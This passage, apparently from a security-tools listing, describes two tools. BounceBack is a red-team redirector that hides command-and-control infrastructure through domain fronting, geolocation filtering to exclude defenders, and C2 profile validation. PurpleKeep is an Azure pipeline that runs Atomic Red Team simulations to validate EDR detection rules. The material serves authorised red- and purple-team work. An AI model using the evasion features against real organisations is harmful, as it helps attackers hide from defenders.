• Out of the box domain fronting support allows you to hide your infrastructure a little bit more.
• Ability to check the IPv4 address of request against IP Geolocation/reverse lookup data and compare it to specified regular expressions to exclude out peers connecting outside allowed companies, nations, cities, domains, etc.
• All incoming requests may be allowed/disallowed for any time period, so you may configure work time filters.
• Support for multiple proxies with different filter pipelines at one BounceBack instance.
• Verbose logging mechanism allows you to keep track of all incoming requests and events for analyzing blue team behaviour and debug issues.

Rules

BounceBack currently supports the following filters:

• Boolean-based (and, or, not) rules combinations
• IP and subnet analysis
• IP geolocation fields inspection
• Reverse lookup domain probe
• Raw packet regexp matching
• Malleable C2 profiles traffic validation
• Work (or not) hours rule

Custom rules may be easily added, just register your RuleBaseCreator or RuleWrapperCreator. See already created RuleBaseCreators and RuleWrapperCreators

Rules configuration page may be found here.

Proxies

At the moment, BounceBack supports the following protocols:

• HTTP(s) for your web infrastructure
• DNS for your DNS tunnels
• Raw TCP (with or without tls) and UDP for custom protocols

Custom protocols may be easily added, just register your new type in manager. Example proxy realizations may be found here.

Proxies configuration page may be found here.

Installation

Just download latest release from release page, unzip it, edit config file and go on.

If you want to build it from source, install goreleaser and run:

goreleaser release --clean --snapshot

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PurpleKeep - Providing Azure Pipelines To Create An Infrastructure And Run Atomic Tests

With the rapidly increasing variety of attack techniques and a simultaneous rise in the number of detection rules offered by EDRs (Endpoint Detection and Response) and custom-created ones, the need for constant functional testing of detection rules has become evident. However, manually re-running these attacks and cross-referencing them with detection rules is a labor-intensive task which is worth automating.

To address this challenge, I developed "PurpleKeep," an open-source initiative designed to facilitate the automated testing of detection rules. Leveraging the capabilities of the Atomic Red Team project which allows to simulate attacks following MITRE TTPs (Tactics, Techniques, and Procedures). PurpleKeep enhances the simulation of these TTPs to serve as a starting point for the evaluation of the effectiveness of detection rules.

Automating the process of simulating one or multiple TTPs in a test environment comes with certain challenges, one of which is the contamination of the platform after multiple simulations. However, PurpleKeep aims to overcome this hurdle by streamlining the simulation process and facilitating the creation and instrumentation of the targeted platform.

Primarily developed as a proof of concept, PurpleKeep serves as an End-to-End Detection Rule Validation platform tailored for an Azure-based environment. It has been tested in combination with the automatic deployment of Microsoft Defender for Endpoint as the preferred EDR solution. PurpleKeep also provides support for security and audit policy configurations, allowing users to mimic the desired endpoint environment.

To facilitate analysis and monitoring, PurpleKeep integrates with Azure Monitor and Log Analytics services to store the simulation logs and allow further correlation with any events and/or alerts stored in the same platform.

TLDR: PurpleKeep provides an Attack Simulation platform to serve as a starting point for your End-to-End Detection Rule Validation in an Azure-based environment.

Requirements

The project is based on Azure Pipelines and requires the following to be able to run:

• Azure Service Connection to a resource group as described in the Microsoft Docs
• Assignment of the "Key Vault Administrator" Role for the previously created Enterprise Application
• MDE onboarding script, placed as a Secure File in the Library of Azure DevOps and make it accessible to the pipelines

Optional

You can provide a security and/or audit policy file that will be loaded to mimic your Group Policy configurations. Use the Secure File option of the Library in Azure DevOps to make it accessible to your pipelines.

Refer to the variables file for your configurable items.

Design

Infrastructure

Deploying the infrastructure uses the Azure Pipeline to perform the following steps:

• Deploy Azure services:
  • Key Vault
  • Log Analytics Workspace
  • Data Connection Endpoint
  • Data Connection Rule
• Generate SSH keypair and password for the Windows account and store in the Key Vault
• Create a Windows 11 VM
• Install OpenSSH
• Configure and deploy the SSH public key
• Install Invoke-AtomicRedTeam
• Install Microsoft Defender for Endpoint and configure exceptions
• (Optional) Apply security and/or audit policy files
• Reboot

Simulation

Currently only the Atomics from the public repository are supported. The pipelines takes a Technique ID as input or a comma seperate list of techniques, for example:

• T1059.003
• T1027,T1049,T1003

The logs of the simulation are ingested into the AtomicLogs_CL table of the Log Analytics Workspace.

There are currently two ways to run the simulation:

Rotating simulation

This pipeline will deploy a fresh platform after the simulation of each TTP. The Log Analytic workspace will maintain the logs of each run.

Warning: this will onboard a large number of hosts into your EDR

Single deploy simulation

A fresh infrastructure will be deployed only at the beginning of the pipeline. All TTP's will be simulated on this instance. This is the fastests way to simulate and prevents onboarding a large number of devices, however running a lot of simulations in a same environment has the risk of contaminating the environment and making the simulations less stable and predictable.

TODO

Must have

• Check if pre-reqs have been fullfilled before executing the atomic
• Provide the ability to import own group policy
• Cleanup biceps and pipelines by using a master template (Complete build)
• Build pipeline that runs technique sequently with reboots in between
• Add Azure ServiceConnection to variables instead of parameters

Nice to have

• MDE Off-boarding (?)
• Automatically join and leave AD domain
• Make Atomics repository configureable
• Deploy VECTR as part of the infrastructure and ingest results during simulation. Also see the VECTR API issue
• Tune alert API call to Microsoft Defender for Endpoint (Microsoft.Security alertsSuppressionRules)
• Add C2 infrastructure for manual or C2 based simulations

Issues

• Atomics do not return if a simulation succeeded or not
• Unreliable OpenSSH extension installer failing infrastructure deployment
• Spamming onboarded devices in the EDR

References

• Splunk's Attack Range
• Sp4rkCon 2023 - Continuous End-to-End Detection Validation and Reporting with Carrie Roberts
• Red Canary's Coalmine

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